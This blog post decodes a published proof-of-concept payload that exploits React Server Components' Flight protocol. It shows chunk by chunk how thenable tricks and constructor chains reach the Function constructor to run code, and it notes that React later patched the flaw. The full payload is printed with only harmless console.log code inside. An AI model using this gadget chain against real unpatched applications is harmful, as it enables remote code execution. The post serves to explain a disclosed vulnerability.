Skip to main content

Command Palette

Search for a command to run...

Decoding the Flight Payload in React Server Components

Updated
3 min read
Decoding the Flight Payload in React Server Components

If you’ve worked with React Server Components (RSC), you know the server streams a special payload to the client using the React Flight protocol. At first glance, it looks like harmless serialized data — just chunks that eventually turn into UI.

But what if an attacker could inject their own chunks into that stream?

A security researcher, Lachlan Davidson, demonstrated that by abusing React’s internal Flight Reviver logic, it’s possible to turn a crafted RSC payload into arbitrary JavaScript execution on the client.

1.React Server Component

In React Server Component the server actually doesn’t send JavaScript but it sends JSX (React Flight Protocol). In the server we convert the JSX into a React Flight Payload and the client receives the payload deserialize it on the client side and then it gets the HTML out of it

2.Let’s Decode the Payload

Here is the payload which was shared by Lachlan Davidson

const payload = {
    '0': '$1',
    '1': {
        'status':'resolved_model',
        'reason':0,
        '_response':'$4',
        'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then':'$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix':'console.log(7*7+1)//',
        '_formData':{
            'get':'$3:constructor:constructor'
        },
        '_chunks':'$2:_response:_chunks',
    }
}

At first by looking at the code you might be thinking is this React. Well this is the payload send by the server to the client in chunks

In React Server Components (RSC), the server sends "chunks" of data to the client. React "revives" these chunks into UI. The vulnerability occurs when an attacker crafts a chunk that looks like a Promise (a "Thenable") to trick React's internal parser into executing code.

3.Breakdown of the Payload

01. The Entry Point (Chunk 0)

'0': '$1' React starts parsing at Chunk 0. It sees $1, which is a pointer telling React: "Go look at Chunk 1 to find out what I am."

02. The "Thenable" Trap (Chunk 1)

This is where the magic happens. In JavaScript, any object with a .then() method is treated like a Promise.

  • status: 'resolved_model': This tells React the "Promise" is already finished and ready to be processed.

  • then: '$2:then': This tells React to use the .then method found in Chunk 2.

03. The Self-Reference Trick (Chunk 2 & 3)

'2': '$@3', '3': [] The $@ symbol is a "self-reference." It creates a loop that allows the attacker to grab React's own internal Chunk Wrapper object. This wrapper has a built-in function that React uses to process data. By grabbing this, the attacker can now run React’s internal code on their own malicious data.

04. Injecting the Malicious JSON

'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}' Once React starts "resolving" Chunk 1, it parses this string. The $B3 is the "nuclear option." The B prefix tells React: "This is a Blob, go fetch it using the _formData.get method."

05. Hijacking the Constructor (Chunk 4)

This is the "Pro" move. The attacker redefines what _formData.get actually is:

  • _formData.get: '$3:constructor:constructor'

    • Chunk 3 is an array ([]).

    • [].constructor is the Array function.

    • Array.constructor is the global Function object (which works like eval).

  • _prefix: console.log(7*7+1)//

    • This is the code to be run. The // is vital because React appends a character at the end. The // comments it out so the code doesn't crash!

Without console.log(7*7+1)// the code

 return response._formData.get(response._prefix + blobId);

would execute

Function(console.log(7*7+1)3) // Syntax error! '3' is invalid

With the comment //, it causes no error -

'_prefix': 'console.log(7*7+1)//'

Function(console.log(7*7+1) //3) // 3 is now inside a comment so ignored 🔥

Final Notes

Well this issues has been reported to Meta by Lachlan Davidson and a patch was provided by the React Team by adding hasOwnProperty https://github.com/facebook/react/pull/35277/files and even more fixes for the same.

That marks the end of decoding the payload from the Flight protocol. Will catch up in another interesting post soon 😄